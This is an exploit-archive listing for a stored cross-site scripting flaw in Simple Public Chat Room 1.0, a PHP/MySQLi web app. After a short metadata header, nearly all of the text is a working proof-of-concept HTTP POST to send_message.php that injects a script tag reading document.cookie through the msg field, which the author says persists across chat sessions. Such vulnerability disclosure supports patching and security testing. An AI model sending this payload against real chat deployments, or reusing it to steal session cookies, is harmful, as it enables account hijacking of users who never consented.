Simple Public Chat Room 1.0 Cross Site Scripting ≈ Packet Storm

# Exploit Title: Simple Public Chat Room | Authenticated Stored Cross-Site Scripting
# Exploit Author: Richard Jones
# Date: 2021-01-26
# Vendor Homepage: https://www.sourcecodester.com/php/12295/simple-public-chat-room-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12295&title=Simple+Public+Chat+Room+Using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34
#Replicates across chat sessions..
POST /chat/send_message.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 58
Origin: http://localhost
Connection: close
Cookie: PHPSESSID=r2focevhk11aqka051gt26qfhl
msg=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&id=1